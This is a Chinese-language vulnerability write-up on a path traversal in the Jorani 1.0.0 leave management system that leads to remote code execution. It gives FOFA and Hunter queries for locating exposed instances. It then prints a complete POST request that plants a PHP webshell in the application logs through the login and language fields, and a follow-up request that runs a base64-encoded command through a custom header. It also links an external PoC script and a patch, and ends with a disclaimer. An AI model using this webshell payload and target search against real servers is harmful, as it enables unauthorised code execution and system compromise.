漏洞介绍

Jorani是法国Benjamin BALET个人开发者的一个休假管理系统。旨在为小型组织提供简单的休假和加班请求工作流程。

Jorani 1.0.0版本存在安全漏洞,该漏洞源于存在路径遍历漏洞。攻击者可利用该漏洞访问文件并在服务器上执行代码。

微信图片_20231011222712_副本.png

网络测绘

fofa:

title="Jorani"

hunter:

web.title="Jorani"

漏洞复现

微信图片_20231010235205_副本.png

POC (POST)

csrf_test_jorani=4fb09c28d0c212cefe1fc110942f8c87&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_AHJNCZO8YO6C'])){system(base64_decode($_SERVER['HTTP_AHJNCZO8YO6C']));} ?>&CipheredValue=DummyPassword

漏洞复现

POST请求,注入命令执行函数并进行base64编码

POST /session/login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=4fb09c28d0c212cefe1fc110942f8c87; jorani_session=4vs8vs6ik6fb973614h2d2girpp4aujv
Accept-Encoding: gzip, deflate

csrf_test_jorani=4fb09c28d0c212cefe1fc110942f8c87&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_AHJNCZO8YO6C'])){system(base64_decode($_SERVER['HTTP_AHJNCZO8YO6C']));} ?>&CipheredValue=DummyPassword

执行成功

微信图片_20231011223719_副本.png

在请求头执行id命令

GET /pages/view/log-2023-09-22 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Connection: close
AHJNCZO8YO6C: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
Cookie: csrf_cookie_jorani=4fb09c28d0c212cefe1fc110942f8c87; jorani_session=4vs8vs6ik6fb973614h2d2girpp4aujv
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip, deflate
微信图片_20231011223922_副本.png

解码

微信图片_20231011224047_副本.png

命令执行成功

微信图片_20231011224555_副本.png

nuclei测试(漏洞存在)

微信图片_20231011224801_副本.png

修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://jorani.org/security-features-in-lms.html

下载地址

https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py

免责声明:

请勿使用本文中所提供的任何技术信息或代码工具进行非法测试和违法行为。若使用者利用本文中技术信息或代码工具对任何计算机系统造成的任何直接或者间接的后果及损失,均由使用者本人负责。本文所提供的技术信息或代码工具仅供于学习,一切不良后果与文章作者无关。使用者应该遵守法律法规,并尊重他人的合法权益。